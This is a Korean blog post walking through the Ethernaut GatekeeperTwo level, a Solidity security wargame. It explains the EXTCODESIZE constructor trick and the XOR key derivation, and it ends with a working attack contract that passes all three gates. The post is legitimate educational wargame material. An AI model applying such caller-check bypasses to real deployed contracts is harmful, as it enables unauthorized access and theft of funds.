



Open in app

Get started



Heuristic Wave

Follow

Oct 4, 2018 · 6 min read



Save



Ethernaut GatekeeperTwo Problem — 이더넷 14단계 문제 해설

문제 해설에 들어가기 전, 이번 포스팅은 이더넷 내에서 콘솔창과 상호작용을 할 줄 알고 기본적인 리믹스 및 메타마스크 사용법이 숙지되어 있다는 가정 하에 해설을 진행합니다.

The Ethernaut

by



Heuristic Wave



. . .

Gatekeeper Two Problem

아직 이번 문제는 정확한 이유를 잘 모르겠습니다. 계속 공부를 하면서 게시물을 보완해 나가겠습니다.

문지기2를 통과하기 위해, 우선 힌트를 살펴보자!

- 첫번째 문은, 지난 gatekeeper 1 문에서 배운것과 동일하다.
- 두번째 문에서의 키워드인 `assembly` 는 솔리디티의 기본기능이 아닌 컨트랙트를 허용한다. `extcodesize` 는 주어진 주소에서 컨트랙트 코드의 크기를 갖게 된다. 이더리움 황서 섹션 7에서 더많은 것을 공부할 수 있다.
- 세 번째 문의 \wedge 문자는 비트 연산(XOR)이며, 다른 일반적인 비트 연산을 적용 하는 것이 여기도 사용된다. Coin Flip 문제가 이번 도전하는데 도움이 될 것이다.

저번 Gatekeeper One과 비교 했을 때, 이번 문제는 사실 비교적 수월하게 해결 할 수 있을 것이다. 문제 속으로 들어가 보자!

코드 분석

```
pragma solidity ^0.4.18;

contract GatekeeperTwo {

    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint x;
        assembly { x := extcodesize(caller) }
        require(x == 0);
        _;
    }
}
```

```

    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey)
== uint64(0) - 1);
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo
gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

```

enter라는 함수가 gate1, 2, 3을 상속받고 있다. 때문에 우리는 차례로 문지기를 통과 하여야 한다.

그러므로 우리는 각 modifier 함수에 대한 require문을 통과할 방법을 강구하면 해결된다.

첫 번째, gate는 Telephone문제에서 만난 것처럼 다른 컨트랙트를 만들어서 sender와 origin을 다르게 만들면 통과할 수 있다. (Telephone 풀이와 같기 때문에 여기서는 통과하겠다.)

두 번째는 솔리디티 assembly 키워드에 관한 문제이지만, 힌트로 주어진 이더리움 황서를 확인 한다면 2번째 문을 쉽게 통과 할 수 있다.

세 번째 관문은, 저번 GatekeeperOne에서 다루었던 비트연산에 관한 조건문을 통과하여야 한다.

2번 문 통과하기

사실 필자도 아직 solidity assembly에 대한 완벽한 이해를 한 상태는 아니라서 명쾌한 설명을 하기가 어렵다. (차후 공부가 되는데로 내용을 보완하여 수정하겠습니다.) 이번단계에서 도움을 받은 선생님의 블로그를 참고하여 문제를 해결했는데 독자 여러분도 한번 읽어보면 좋을 것 같다.

황서 10페이지의 하단 부분을 보면 아래와 같은 `EXTCODESIZE`에 대한 내용이 언급되어 있다.

During initialization code execution, `EXTCODESIZE` on the address should return zero, which is the length of the code of the account while `CODESIZE` should return the length of the initialization code (as defined in H.2).

초기화 코드를 실행하는 동안 주소의 `EXTCODESIZE`는 계정의 코드 길이 인 0을 반환해야 하며, `CODESIZE`는 초기화 코드의 길이를 반환해야 한다.

즉, `EXRCODESIZE`는 0을 리턴하기 때문에 다른 컨트랙트를 통해 2번 조건문을 들어갈 때 어떠한 코드도 크기가 0이기 때문에 지나갈 수 있다.

3번 문 통과하기

```
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) ==
uint64(0) - 1);
```

주어진 조건문의 `==` 연산 오른쪽에 위치한 `uint64(0) - 1`은 `FFFFFFFFFFFFFFFF`를 뜻한다.

먼저, `^` 연산을 알아보자. XOR 연산은 두 비트가 다르면 1 같다면 0이된다. 때문에 다음과 같은 결과를 보인다.

```
1010 ^ 1111 == 0101  1111 ^ 0000 == 1111  1111 ^ 1111 == 0000
```

즉 `A XOR B = C`, `A XOR C = B` 라는 결론을 도출 할 수 있다.

때문에 solution에서 아래와 같은 코드를 통하여 3번째 문을 통과하는 key를 만들 수 있다.

```
bytes8 key = bytes8(uint64(keccak256(address(this))) ^
(uint64(0) - 1));
```

원래 조건에서는 msg.sender의 주소를 조건문으로 확인하는데, gateThree를 호출한 주소는 새롭게 만든 컨트랙트의 주소가 되기 때문에 address(this)로 바꾸어 적어준다!!

위 조건들을 만족하는 게이트를 통과하는 코드는 아래와 같다

```
contract Pass {
    function Pass (address _target) public {
        GatekeeperTwo gk = GatekeeperTwo(_target);
        bytes8 key = bytes8(uint64(keccak256(address(this))) ^
(uint64(0) - 1));
        gk.call(bytes4(keccak256('enter(bytes8)')), key);
    }
}
```

솔루션 코드인 Pass 컨트랙트의 _target에 문제의 CA주소를 넣고 배포한 후 펜딩이 끝나면 문제를 해결 한 것이다.

이번 문제에서는 Solidity Assembly의 활용법을 알 수 있는 문제다. 이것을 통해서 실제 솔리디티에는 구현되지 않은 다른 기능들을 작성할 수 있다고 하는데 더 공부를 하여 다음 포스팅에서 따로 배워보는 시간을 갖겠다.

도움이 될만한 자료들

[비트 연산자로 플래그 처리하기](#)

필자가 도움을 받은 블로그

<https://medium.com/coinmonks/ethernaut-lvl-14-gatekeeper-2-walkthrough-how-contracts-initialize-and-how-to-do-bitwise-ddac8ad4f0fd>

그럼, 다음번에는 15단계 Naught Coin에서 만나요!

Ethernaut Naught Coin Problem — 이더넷 15단계 문제 해설

문제 해설에 들어가기 전, 이번 포스팅은 이더넷 내에서 콘솔창과 상호 작용을 할 줄 알고 기본적인 리믹스 및 메타마스크 사용법이 숙지되어

medium.com



[About](#) [Help](#) [Terms](#) [Privacy](#)

Get the Medium app

